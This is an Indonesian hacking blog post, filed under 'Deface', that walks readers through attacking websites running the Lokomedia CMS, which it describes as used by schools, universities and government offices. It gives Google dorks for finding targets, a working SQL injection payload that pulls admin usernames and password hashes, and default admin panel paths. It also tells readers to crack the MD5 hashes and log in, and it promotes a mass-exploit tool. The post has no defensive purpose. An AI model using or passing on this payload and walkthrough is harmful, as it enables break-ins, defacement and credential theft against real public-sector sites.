You are here
Home > Deface

SQL Injection Lokomedia

SQL Injection Lokomedia

Lokomedia adalah sebuah cms karya anak bangsa yang sering dipakai untuk website website sekolah, universitas, pemerintah dan apapun itu. Ya memang seharusnya ini sangat didukung dan diapresiasi, tapi karena bugnya yang fatal cms ini sering kali jadi sasaran.

Bug pada cms ini adalah sql injection. Jika belum paham mengenai sql injection kalian biasa membaca artikelnya disini. Kalo udah yaudah lanjut.

Dork:
inurl:/statis-1-profil.html
inurl:/statis-3-strukturorganisasi.html
inurl:/statis-1-visimisi.html
inurl:/statis-1-tujuan.html

Kembangin lagi gan, gimana? Buka cara mengembangkan dork google.

Exploit:
‘union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)–+

Default admin login:
/admin
/adminweb
/administrator
/redaktur

1.Dorking dengan dork diatas
sqli lokmed

2.Masukan exploit tepat setelah angka dan sebelum – hingga menjadi seperti dibawah
sqli lokmed

3.Lalu lihat pada bagian title, jika muncul username dan password maka artinya injeksi berhasil dilakukan
sqli lokmed

4.View page source/ctrl+u lalu cari username dan password tersebut pada tag <title>
sqli lokmed

5.Decrypt password yang masih berupa hash menggunakan MD5 Decrypter
sqli lokmed

6.Cari admin loginnya, kalo ga ketemu coba scan make acunetix, dirbuster, admin finder atau apalah itu. Kalo udah tinggal login
sqli lokmed

Jika males menggunakan cara diatas, kalian bisa mencoba tools buatan Indoxploit yaitu lokomedia sqli. Kelebihan tools ini adalah sebagai berikut

  • Mass exploit (Tinggal sediain list site yang bercms lokmed)
  • Auto inject sql
  • Auto crack password
  • Admin finder
  • Open source (Bisa dimodifikasi dan ditambahkan fiturnya, tapi jangan hapus kreditnya gan)

Bisa disedot disini. Oh iya tools ini berbasis cli ya bukan web walau dikode menggunakan php.
sqli lokmed

0N3R1D3R
Founder Indonesia To World Team
https://www.indonesiatoworld.org

Berlangganan via email

Ketik email:


Tinggalkan Balasan

Top